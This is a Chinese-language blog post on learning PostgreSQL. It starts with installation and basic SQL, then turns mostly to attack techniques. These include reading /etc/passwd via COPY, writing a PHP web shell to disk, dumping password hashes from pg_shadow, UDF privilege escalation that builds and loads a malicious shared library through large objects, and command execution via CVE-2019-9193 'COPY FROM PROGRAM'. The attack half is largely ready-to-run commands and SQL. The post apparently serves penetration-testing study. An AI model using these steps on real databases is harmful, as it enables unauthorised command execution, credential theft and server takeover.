美文网首页
PostgreSQL 数据库学习

PostgreSQL 数据库学习

作者: CSeroad | 来源:发表于2021-06-28 19:39 被阅读0次

前言

最近多次遇到PostgreSQL数据库,只会一键提权,究其细节,不甚了解,这里学习一番。

PostgreSQL 数据库安装

选择在centos上安装。
参考 CentOS安装PostgreSQL
安装rpm文件

yum install https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm

安装客户端

yum install postgresql10

安装服务端

yum install postgresql10-server

初始化

/usr/pgsql-10/bin/postgresql-10-setup initdb

启动postgresql服务

systemctl start postgresql-10

postgres用户登录

su - postgres

注:postgresql 安装后自动创建postgres用户,无密码
登录postgresql数据库

psql

开启远程访问

  1. 修改/var/lib/pgsql/10/data/postgresql.conf文件,取消 listen_addresses 的注释,将参数值改为"*"
image.png
  1. 修改/var/lib/pgsql/10/data/pg_hba.conf文件,增加host被访问
host    all             all             0.0.0.0/0               md5
image.png

做完上面的两个修改应该就可以了,如果还不行,查看是否关闭了防火墙。

PostgreSQL 数据库语句

命令行连接postgres的两种方式

psql postgres://username:password@host:port/dbname  
username:连接数据的用户名,默认值是postgres
password:密码,默认值是postgres
host:主机名,默认值是localhost
port:端口,默认值是5432
dbname:要连接的数据库名,默认值是postgres
psql -U postgres -h 10.211.55.30  -p 5432 -d postgres
-U username 用户名,默认值postgres
-h hostname 主机名,默认值localhost
-p port 端口号,默认值5432
-d dbname 要连接的数据库名,默认值postgres

控制台命令

\h:查看SQL命令的解释,比如\h select。
\?:查看psql命令列表。
\l:列出所有数据库。
\c [database_name]:连接其他数据库。
\d:列出当前数据库的所有表格。
\d [table_name]:列出某一张表格的结构。
\du:列出所有用户。
\e:打开文本编辑器。
\conninfo:列出当前数据库和连接的信息

创建数据库

create database runoobdb;

连接数据库

\c runoobdb;

创建表

CREATE TABLE COMPANY(
   ID INT PRIMARY KEY     NOT NULL,
   NAME           TEXT    NOT NULL,
   AGE            INT     NOT NULL,
   ADDRESS        CHAR(50),
   SALARY         REAL,
   JOIN_DATE      DATE
);

删除表

drop table company;

插入数据

INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY,JOIN_DATE) VALUES (1, 'Paul', 32, 'California', 20000.00,'2001-07-13');

查询语句

select * from company;

查看版本信息

select version();

查看postgresql数据库密码

SELECT usename, passwd FROM pg_shadow;

需要注意的是postgresql的密码是md5(user+password)
修改密码

alter user postgres with encrypted password '1';

查看postgresql目录

SELECT setting FROM pg_settings WHERE name='data_directory';

添加管理员

create user test password '12345' superuser createrole createdb;

查看用户权限

select * from pg_roles;

数据库读取文件

drop table hash;
create table hash(hash TEXT);
copy hash from '/etc/passwd';
select *from hash;

数据库写入文件

drop table test;
create table test (t TEXT);
insert into test(t) values ('<?php @system("$_GET[x]");?>');
select * from test;
copy test(t) to  '/tmp/cmd.php';

注:数据库的读、写操作权限比较低,无法读取、写入到/var/www/html/下

PostgreSQL 数据库提权

UDF 提权

UDF我的理解就是用户自定义函数来执行系统命令。
8.2版本以下可以直接调用系统的动态链接库/lib/libc.so.6或者/lib64/libc.so.6,未测试该版本。再次做个记录。

CREATE FUNCTION system(cstring) RETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
select system('id');

8.2及以上版本可直接利用sqlmap/data/udf中所提供的udf文件
但是在创建函数时提示 ELF 头错误。

image.png

也可以利用 udfhack 生成任意udf文件。
如:在postgresql 10.17 版本上进行udf提权。
先下载postgresql 10.17 版本 https://ftp.postgresql.org/pub/source/v10.17/postgresql-10.17.tar.gz 的源码。
下载解压切换到postgresql 目录下进行编译安装。

./configure -prefix=/usr/local/pgsql --without-readline --without-zlib
make
make install

编译后,会在/usr/local/pgsql/include/server/目录下生成postgres.h文件。
因为lib_postgresqludf_sys.c文件需要

git clone https://github.com/sqlmapproject/udfhack
cd udfhack/linux/lib_postgresqludf_sys
gcc -Wall -I/usr/local/pgsql/include/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
xxd -pe lib_postgresqludf_sys.so | tr -d '\n' > 1.txt   #将so文件hex后去除\n并输出到1.txt

写入生成的udf文件

select lo_from_bytea(9999, '\x......');  # 创建一个大对象并存储数据,返回它的OID
select lo_export(9999,'/tmp/udf.so');  # 将对象导出到/tmp/udf.so恶意动态链接库
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;  # 创建sys_eval函数
select sys_eval('id');    # 执行命令
drop function sys_eval;  # 删除sys_eval函数
select lo_unlink(oid) from pg_largeobject_metadata where lomowner = 10 limit 20000;  # 删除大对象
image.png

也可以正常反弹

image.png

在某些时候需要将so文件分段写入,比如url编码过长的时候。
所以需要python脚本分割so文件

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:python " + sys.argv[0] + " inputfile"
        sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
        i = i + 1
        if i % 2048 == 0:
            print "\n"
    fileobj.close()

然后分段写入sql语句

SELECT lo_create(9023);
insert into pg_largeobject values (9023, 0, decode('7f454c4....', 'hex'));
insert into pg_largeobject values (9023, 1, decode('020002....', 'hex'));
insert into pg_largeobject values (9023, 2, decode('000000....', 'hex'));
insert into pg_largeobject values (9023, 3, decode('000000....', 'hex'));
insert into pg_largeobject values (9023, 4, decode('181e20....', 'hex'));
insert into pg_largeobject values (9023, 5, decode('7f454c4....', 'hex'));
insert into pg_largeobject values (9023, 6, decode('640000....', 'hex'));
SELECT lo_export(9023, '/tmp/udf_sys.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');

CVE-2019-9193

从9.3版本开始,PostgreSQL数据库出现了一处"特性",具有"COPY TO/FROM PROGRAM"权限的用户,可以使用这个特性来执行任意命令。

drop table if  exists cmd_exec;  # 如果指定表不存在则跳过,如果指定表存在则删除
create table cmd_exec(output text);  # 创建cmd_exec 数据表
copy cmd_exec from program 'id';   # copy专门在表和文件拷贝数据,program就是需要执行的程序名字,也可以直接理解为系统命令
select * from cmd_exec;
image.png

其他

也可以利用 ssl_passphrase_command 进行RCE,不过查找资料发现该利用的条件很苛刻,需要满足postgresql 11 版本向上、服务器需要开启SSL、一些配置还需要服务重启。有兴趣的可以看这篇文章:
https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/
复现CVE-2018-1058 漏洞更是鸡肋,只能使用select查询语句,无法添加用户,且管理员执行pg_dump命令时才会触发该漏洞。即使查询到,管理员密码也是md5(user+password)。

总结

学习了PostgreSQL数据库的基础操作,最常用的两种提权方式UDF提权和CVE-2019-9193执行系统命令。以及另外的一些提权方式,因为可利用性暂时没有详细了解。

参考资料

https://www.runoob.com/postgresql/postgresql-create-database.html
http://www.ruanyifeng.com/blog/2013/12/getting_started_with_postgresql.html
https://www.x1a0t.com/2020/05/25/Attack-Database-Postgresql/
http://www.postgres.cn/docs/9.4/lo-funcs.html
https://www.jianshu.com/p/ba0297da2c2e
https://pulsesecurity.co.nz/articles/postgres-sqli

相关文章

网友评论

      本文标题:PostgreSQL 数据库学习

      本文链接:https://www.haomeiwen.com/subject/pwzayltx.html